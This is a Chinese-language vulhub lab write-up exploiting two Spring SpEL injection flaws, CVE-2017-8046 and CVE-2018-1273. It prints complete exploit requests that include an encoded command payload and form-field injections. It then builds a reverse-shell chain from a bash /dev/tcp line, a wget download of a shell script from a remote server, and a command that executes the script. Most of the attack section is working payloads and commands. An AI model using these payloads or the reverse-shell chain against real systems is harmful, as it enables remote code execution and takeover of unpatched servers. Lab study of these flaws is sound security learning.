Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
环境
vulhub靶场 /spring/CVE-2017-8046
访问http://39.105.61.160:8080/customers/1
使用Burp,抓取数据包
发送到重放器,修改代码
PATCH /customers/1 HTTP/1.1
Host: 39.105.61.160:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=43E63C2CE6B221D29E4E404AB7179C0D
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 24 Mar 2025 06:45:11 GMT
If-None-Match: "0"
Priority: u=0, i
Content-Type: application/json-patch+json
Content-Length: 201[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value":
"vulhub" }]
修改为自己的ip
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11
5} 表示的命令 touch /tmp/success,创建一个success文件
成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
在容器中发现成功创建success
docker ps
docker exec -it ebf783d6cae2 /bin/bash
ls /tmp
spring 代码执⾏ (CVE-2018-1273)
Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命令。
访问靶场地址:http://39.105.61.160:8080/users
随便输入数据,使用Burp抓包
发送到重放器,修改代码
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/crz")]=&password=&repeatedPassword=
可以看到成功写⼊
docker ps
docker exec -it 7eda9043f543 /bin/bash
ls /tmp
反弹shell
云服务器写⼀个 反弹shell 脚本
bash -i >& /dev/tcp/39.105.61.160:6666 0>&1
监听6666端口
将刚才的代码修改
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/shell.sh http://39.105.61.160/1.sh")]=&password=&repeatedPassword=
shell.sh成功建立
再次修改(运行shell.php)
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/shell.sh")]=&password=&repeatedPassword=
之后监听到shell,反弹shell完成